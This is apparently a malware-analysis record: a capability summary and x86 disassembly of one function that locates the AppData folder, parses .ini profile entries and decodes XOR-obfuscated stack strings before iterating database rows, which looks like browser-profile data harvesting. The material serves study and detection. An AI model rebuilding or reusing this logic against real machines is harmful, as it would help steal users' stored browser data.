Function at 0x43a010
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x509137
mov eax, dword fs:[0]
push eax
mov eax, 0x1520
mov dword fs:[0], esp
call fcn.004e0270
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x1fc], edi
mov dword [ebp - 0x1e4], 0
push ecx
mov dword [ebp - 4], 1
call fcn.00468810
sub esp, 0x10
mov dword [ebp - 0x1e4], 1
mov ecx, esp
mov dword [ebp - 0x14], esp
sub esp, 8
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004687e0
add esp, 8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x21]
mov dword [ebp - 0x21], 0x9c999a97
mov dword [ebp - 0x1d], 0x899c91
mov byte [ebp - 0x19], 1
call fcn.00409ee0
push eax
mov ecx, edi
call fcn.0046e710
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00468470
push 0x104
lea eax, [ebp - 0x528]
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x528]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0x528]
lea ecx, [ebp - 0x2b0]
call fcn.0046e4d0
add esp, 4
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc3]
mov dword [ebp - 0xc3], 0x988485a8
mov dword [ebp - 0xbf], 0x9e96909e
mov dword [ebp - 0xbb], 0x9197d38f
mov word [ebp - 0xb7], 0x69
mov byte [ebp - 0xb5], 1
call fcn.00408d10
push eax
lea edx, [ebp - 0x2b0]
lea ecx, [ebp - 0x298]
call fcn.0046e400
add esp, 4
push 0x1000
lea eax, [ebp - 0x1528]
mov byte [ebp - 4], 4
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea ecx, [ebp - 0x298]
call fcn.00402a20
push eax
push 0x1000
lea eax, [ebp - 0x1528]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea ebx, [ebp - 0x1528]
mov dword [ebp - 0x11c], ebx
lea ebx, [ebx]
mov dword [ebp - 0x21], 0x919987a4
xor ecx, ecx
mov dword [ebp - 0x1d], 0x9f9591
mov byte [ebp - 0x19], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 7
jb 0x43a1a4
push 7
lea eax, [ebp - 0x21]
mov byte [ebp - 0x19], 0
push eax
push ebx
call fcn.004ecaee
add esp, 0xc
test eax, eax
jne 0x43b3a4
push 0x104
push eax
lea eax, [ebp - 0x420]
push eax
call fcn.004e14f0
add esp, 0xc
lea ecx, [ebp - 0x298]
call fcn.00402a20
lea ecx, [ebp - 0x7b]
mov dword [ebp - 0x7b], 0x9f8294a4
mov esi, eax
mov word [ebp - 0x77], 0x100
call fcn.00409eb0
push esi
push 0x104
lea ecx, [ebp - 0x420]
push ecx
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x5b]
mov word [ebp - 0x5b], 0xa8
mov byte [ebp - 0x59], 1
call fcn.00409f40
push eax
lea edx, [ebp - 0x2b0]
lea ecx, [ebp - 0xb4]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x420]
mov byte [ebp - 4], 5
push ecx
mov edx, eax
lea ecx, [ebp - 0x2c8]
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 7
call fcn.004028d0
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x22c]
call fcn.00402980
push ecx
push 0x2f
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 8
call fcn.00402880
cmp eax, 0xffffffff
je 0x43a31c
sub esp, 0x18
mov word [ebp - 0x5e], 0xdb
lea ecx, [ebp - 0x5e]
mov byte [ebp - 0x5c], 1
mov edx, esp
mov dword [ebp - 0x14], esp
call fcn.00409f40
push eax
mov ecx, edx
call fcn.00402980
sub esp, 0x18
mov byte [ebp - 4], 9
lea eax, [ebp - 0x22c]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 8
call fcn.0040ab40
add esp, 0x30
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 0xa
call fcn.004695d0
test eax, eax
je 0x43a30d
call fcn.004695d0
dec eax
push eax
call fcn.004695b0
push eax
lea ecx, [ebp - 0x22c]
call fcn.0046a5c0
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 8
call fcn.0046c860
push ecx
push 0x5c
lea ecx, [ebp - 0x22c]
call fcn.00402880
cmp eax, 0xffffffff
je 0x43a3b6
sub esp, 0x18
mov word [ebp - 0x61], 0xa8
lea ecx, [ebp - 0x61]
mov byte [ebp - 0x5f], 1
mov edx, esp
mov dword [ebp - 0x14], esp
call fcn.00409f40
push eax
mov ecx, edx
call fcn.00402980
sub esp, 0x18
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x22c]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 8
call fcn.0040ab40
add esp, 0x30
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0xc
call fcn.004695d0
test eax, eax
je 0x43a3a7
call fcn.004695d0
dec eax
push eax
call fcn.004695b0
push eax
lea ecx, [ebp - 0x22c]
call fcn.0046a5c0
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 8
call fcn.0046c860
lea ecx, [ebp - 0x39]
mov dword [ebp - 0x39], 0x989996a8
mov dword [ebp - 0x35], 0x889f9093
mov dword [ebp - 0x31], 0x938f8ed2
mov dword [ebp - 0x2d], 0x677569
mov byte [ebp - 0x29], 1
call fcn.0040df20
push eax
lea edx, [ebp - 0x2c8]
lea ecx, [ebp - 0x280]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x75]
mov dword [ebp - 0x75], 0x1009786
call fcn.00409f10
lea ecx, [ebp - 0x280]
mov esi, eax
call fcn.00402a20
push esi
push eax
call fcn.004e5362
add esp, 8
test eax, eax
je 0x43b37f
push eax
call fcn.004e8be8
lea ecx, [ebp - 0x268]
call fcn.00468810
mov byte [ebp - 4], 0xe
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x14], esp
sub esp, 8
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004687e0
add esp, 8
lea eax, [ebp - 0x22c]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x268]
call fcn.00468100
mov ecx, eax
mov byte [ebp - 4], 0xe
call fcn.00468470
lea ecx, [ebp - 0x280]
call fcn.00402a20
lea edx, [ebp - 0x118]
mov ecx, eax
call fcn.00413aa0
test eax, eax
jne 0x43b338
lea ecx, [ebp - 0x112]
mov dword [ebp - 0x112], 0xb2bab0a7
mov dword [ebp - 0x10e], 0x93daadbb
mov dword [ebp - 0x10a], 0xd38a8e93
mov dword [ebp - 0x106], 0x4b716820
mov dword [ebp - 0x102], 0x48767170
mov dword [ebp - 0xfe], 0x27736566
mov dword [ebp - 0xfa], 0x7b6f7d2c
mov dword [ebp - 0xf6], 0x7a323d78
mov dword [ebp - 0xf2], 0x74734667
mov dword [ebp - 0xee], 0x377f6b6d
mov dword [ebp - 0xea], 0x6f66783c
mov dword [ebp - 0xe6], 0xf5b5349
mov dword [ebp - 0xe2], 0x4a474b04
mov dword [ebp - 0xde], 0x5d0a054d
mov dword [ebp - 0xda], 0x4a5b414d
mov dword [ebp - 0xd6], 0x7c607710
mov dword [ebp - 0xd2], 0x585b1579
mov dword [ebp - 0xce], 0x54596642
mov dword [ebp - 0xca], 0x5a575653
mov word [ebp - 0xc6], 0x33
mov byte [ebp - 0xc4], 1
call fcn.0043b450
mov esi, dword [ebp - 0x118]
mov edx, eax
push ecx
lea ecx, [ebp - 0x120]
push ecx
push ecx
mov ecx, esi
call fcn.004c5670
add esp, 0xc
test eax, eax
jne 0x43b331
mov ebx, dword [ebp - 0x120]
mov ecx, ebx
call fcn.004a2b90
cmp eax, 0x64
jne 0x43b324
jmp 0x43a5b0
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x128]
push 0
mov byte [ebp - 0x130], 0
call fcn.0046c030
mov byte [ebp - 4], 0x11
test ebx, ebx
je 0x43a61b
cmp dword [ebx + 0x2c], 0
je 0x43a5f6
xor eax, eax
cmp ax, word [ebx + 0x30]
jae 0x43a5f6
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a5f1
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
jmp 0x43a620
mov eax, dword [ebx]
test eax, eax
je 0x43a61b
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a60d
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov edi, eax
test ebx, ebx
je 0x43a680
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x43a663
cmp byte [esi + 0x1e], 0
jne 0x43a646
mov edx, esi
cmp ecx, 0xc0a
jne 0x43a65e
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [ebx]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43a66a
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43a680
push eax
call dword [0x534f68]
add esp, 4
xor eax, eax
mov dword [ebp - 0x18], edi
lea edx, [ebp - 0x18]
mov byte [ebp - 0x150], 0
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
call fcn.0047e810
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x90], 0x969b9a90
mov dword [ebp - 0x8c], 0x1009791
call fcn.0040c400
mov cl, byte [ebp - 0x130]
mov esi, eax
test cl, cl
jne 0x43a703
push 1
lea ecx, [ebp - 0x240]
mov byte [ebp - 0x130], 1
call fcn.0046c030
mov edi, dword [ebp - 0x240]
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x128], edi
mov dword [ebp - 0x124], eax
jmp 0x43a712
cmp cl, 1
jne 0x43b3ee
mov edi, dword [ebp - 0x128]
xor eax, eax
mov dword [ebp - 0x18], edi
mov ecx, esi
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x188], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x184], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a740
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x198]
call fcn.00402ae0
lea eax, [ebp - 0x198]
mov byte [ebp - 4], 0x13
push eax
mov ecx, edi
call fcn.00471a00
mov byte [ebp - 4], 0x12
mov edi, eax
mov ecx, dword [ebp - 0x184]
cmp ecx, 0x10
jb 0x43a7a8
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a79e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b446
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0x150]
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], 0
mov cl, byte [edi]
mov byte [edi], al
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov eax, dword [ebp - 0x148]
mov byte [ebp - 0x150], cl
mov ecx, dword [ebp - 0x144]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x150]
mov dword [edi + 8], eax
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], esi
call fcn.00468450
xor eax, eax
mov word [ebp - 0x43], 0x31
lea ecx, [ebp - 0x43]
mov byte [ebp - 0x41], 0
mov dword [ebp - 0xb4], eax
lea edx, [ecx + 1]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a840
sub ecx, edx
lea eax, [ebp - 0x43]
push ecx
push eax
lea ecx, [ebp - 0xb4]
call fcn.00402ae0
mov byte [ebp - 4], 0x16
test ebx, ebx
je 0x43a8b2
cmp dword [ebx + 0x2c], 0
je 0x43a88d
mov eax, 1
cmp ax, word [ebx + 0x30]
jae 0x43a88d
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a885
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0x28
jmp 0x43a8b7
mov eax, dword [ebx]
test eax, eax
je 0x43a8b2
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a8a4
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov edi, eax
test ebx, ebx
je 0x43a917
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x43a8fa
cmp byte [esi + 0x1e], 0
jne 0x43a8dd
mov eax, esi
cmp ecx, 0xc0a
jne 0x43a8f5
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [ebx]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43a901
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [ebx + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a917
push eax
call dword [0x534f68]
add esp, 4
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a930
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x40]
call fcn.00402ae0
cmp dword [ebp - 0xa0], 0x10
lea edx, [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
setae byte [ebp - 0xe]
mov dword [ebp - 0x14], eax
jb 0x43a961
mov edx, eax
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x40]
mov edi, dword [ebp - 0x40]
setae byte [ebp - 0xd]
jb 0x43a973
mov ecx, edi
push dword [ebp - 0xa4]
mov byte [ebp - 0x170], 4
push edx
mov edx, dword [ebp - 0x30]
call fcn.0047a4b0
mov byte [ebp - 0x158], al
add esp, 8
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x164], eax
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x58], 0x8782819c
mov dword [ebp - 0x54], 0x829697b7
mov word [ebp - 0x50], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 8
jb 0x43a9c4
xor eax, eax
mov byte [ebp - 0x4f], 0
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43aa02
sub ecx, edx
lea eax, [ebp - 0x58]
push ecx
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00402ae0
lea eax, [ebp - 0x1b0]
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x18]
push eax
call fcn.00471a00
mov byte [ebp - 4], 0x18
mov esi, eax
mov ecx, dword [ebp - 0x19c]
cmp ecx, 0x10
jb 0x43aa6e
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43aa64
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b446
push ecx
push edx
call fcn.004df511
add esp, 8
mov edx, dword [ebp - 0x158]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
mov al, byte [esi]
mov byte [esi], 4
mov ecx, dword [esi + 0xc]
mov byte [ebp - 0x170], al
mov eax, dword [esi + 8]
mov dword [esi + 8], edx
mov edx, dword [ebp - 0x154]
mov dword [ebp - 0x164], ecx
lea ecx, [ebp - 0x170]
mov dword [esi + 0xc], edx
mov dword [ebp - 0x168], eax
call fcn.00468450
cmp byte [ebp - 0xd], 0
mov byte [ebp - 4], 0x16
je 0x43aaf9
mov ecx, dword [ebp - 0x2c]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x43aaef
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b446
push ecx
push edi
call fcn.004df511
add esp, 8
cmp byte [ebp - 0xe], 0
mov byte [ebp - 4], 0x11
je 0x43ab35
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ab2b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b446
push ecx
push edx
call fcn.004df511
add esp, 8
test ebx, ebx
je 0x43ab8a
cmp dword [ebx + 0x2c], 0
je 0x43ab65
mov eax, 2
cmp ax, word [ebx + 0x30]
jae 0x43ab65
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43ab5d
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0x50
jmp 0x43ab8f
mov eax, dword [ebx]
test eax, eax
je 0x43ab8a
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43ab7c
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov edi, eax
test ebx, ebx
je 0x43abef
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x43abd2
cmp byte [esi + 0x1e], 0
jne 0x43abb5
mov eax, esi
cmp ecx, 0xc0a
jne 0x43abcd
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [ebx]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43abd9
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [ebx + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43abef
push eax
call dword [0x534f68]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x140], 0
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
call fcn.0047e810
mov byte [ebp - 4], 0x1c
xor eax, eax
mov dword [ebp - 0x27], 0x9f829484
mov word [ebp - 0x23], 0x100
lea ecx, [eax - 0xc]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 4
jb 0x43ac28
xor eax, eax
mov byte [ebp - 0x22], 0
lea ecx, [ebp - 0x27]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ac65
sub ecx, edx
lea eax, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x1c8]
call fcn.00402ae0
lea eax, [ebp - 0x1c8]
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x18]
push eax
call fcn.00471a00
mov byte [ebp - 4], 0x1c
mov edi, eax
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x43acd1
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43acc7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b446
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0x140]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
mov cl, byte [edi]
mov byte [edi], al
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov eax, dword [ebp - 0x138]
mov byte [ebp - 0x140], cl
mov ecx, dword [ebp - 0x134]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x140]
mov dword [edi + 8], eax
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x134], esi
call fcn.00468450
xor eax, eax
mov word [ebp - 0x46], 0x31
lea ecx, [ebp - 0x46]
mov byte [ebp - 0x44], 0
mov dword [ebp - 0x40], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ad53
sub ecx, edx
lea eax, [ebp - 0x46]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00402ae0
mov byte [ebp - 4], 0x20
test ebx, ebx
je 0x43adc2
cmp dword [ebx + 0x2c], 0
je 0x43ad9d
mov eax, 3
cmp ax, word [ebx + 0x30]
jae 0x43ad9d
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43ad95
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0x78
jmp 0x43adc7
mov eax, dword [ebx]
test eax, eax
je 0x43adc2
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43adb4
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov edi, eax
test ebx, ebx
je 0x43ae27
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x43ae0a
cmp byte [esi + 0x1e], 0
jne 0x43aded
mov edx, esi
cmp ecx, 0xc0a
jne 0x43ae05
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [ebx]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43ae11
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43ae27
push eax
call dword [0x534f68]
add esp, 4
xor eax, eax
mov ecx, edi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
lea edx, [ecx + 1]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ae52
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0xb4]
call fcn.00402ae0
cmp dword [ebp - 0x2c], 0x10
lea edx, [ebp - 0x40]
mov eax, dword [ebp - 0x40]
setae byte [ebp - 0xd]
mov dword [ebp - 0x14], eax
jb 0x43ae7d
mov edx, eax
cmp dword [ebp - 0xa0], 0x10
lea ecx, [ebp - 0xb4]
mov edi, dword [ebp - 0xb4]
setae byte [ebp - 0xe]
jb 0x43ae98
mov ecx, edi
push dword [ebp - 0x30]
mov byte [ebp - 0x180], 4
push edx
mov edx, dword [ebp - 0xa4]
call fcn.0047a4b0
mov byte [ebp - 0x160], al
add esp, 8
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x174], eax
mov byte [ebp - 4], 0x22
xor ecx, ecx
mov dword [ebp - 0x4e], 0x82959087
mov dword [ebp - 0x4a], 0x1009c8a
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x4e], al
inc ecx
cmp ecx, 6
jb 0x43aee3
xor eax, eax
mov byte [ebp - 0x47], 0
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43af21
sub ecx, edx
lea eax, [ebp - 0x4e]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00402ae0
lea eax, [ebp - 0x1e0]
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x18]
push eax
call fcn.00471a00
mov byte [ebp - 4], 0x22
mov esi, eax
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0x10
jb 0x43af8d
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43af83
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b446
push ecx
push edx
call fcn.004df511
add esp, 8
mov edx, dword [ebp - 0x160]
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
mov al, byte [esi]
mov byte [esi], 4
mov ecx, dword [esi + 0xc]
mov byte [ebp - 0x180], al
mov eax, dword [esi + 8]
mov dword [esi + 8], edx
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0x174], ecx
lea ecx, [ebp - 0x180]
mov dword [esi + 0xc], edx
mov dword [ebp - 0x178], eax
call fcn.00468450
cmp byte [ebp - 0xe], 0
mov byte [ebp - 4], 0x20
je 0x43b01b
mov ecx, dword [ebp - 0xa0]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x43b011
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b446
push ecx
push edi
call fcn.004df511
add esp, 8
cmp byte [ebp - 0xd], 0
mov byte [ebp - 4], 0x11
je 0x43b054
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b04a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b446
push ecx
push edx
call fcn.004df511
add esp, 8
test ebx, ebx
je 0x43b0ac
cmp dword [ebx + 0x2c], 0
je 0x43b087
mov eax, 4
cmp ax, word [ebx + 0x30]
jae 0x43b087
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b07c
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0xa0
jmp 0x43b0b1
mov eax, dword [ebx]
test eax, eax
je 0x43b0ac
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b09e
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov edi, eax
test ebx, ebx
je 0x43b111
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x43b0f4
cmp byte [esi + 0x1e], 0
jne 0x43b0d7
mov edx, esi
cmp ecx, 0xc0a
jne 0x43b0ef
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [ebx]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43b0fb
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43b111
push eax
call dword [0x534f68]
add esp, 4
push edi
call fcn.004ece36
sub esp, 0xc
mov dword [ebp - 0x238], eax
mov eax, esp
mov dword [ebp - 0x14], esp
xor ecx, ecx
mov dword [ebp - 0x234], edx
mov byte [eax], 0
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
lea ecx, [ebp - 0x238]
push ecx
push eax
call fcn.0047b620
mov byte [ebp - 4], 0x26
xor ecx, ecx
mov dword [ebp - 0x71], 0x9e868d91
mov dword [ebp - 0x6d], 0x928e988a
mov dword [ebp - 0x69], 0x9eba9393
mov dword [ebp - 0x65], 0x1006474
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x71], al
inc ecx
cmp ecx, 0xe
jb 0x43b165
xor eax, eax
mov byte [ebp - 0x62], 0
lea edx, [ebp - 0x71]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], eax
lea ecx, [edx + 1]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x43b1a3
sub edx, ecx
lea eax, [ebp - 0x71]
push edx
push eax
lea ecx, [ebp - 0x258]
call fcn.00402ae0
lea eax, [ebp - 0x258]
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x18]
push eax
call fcn.00471a00
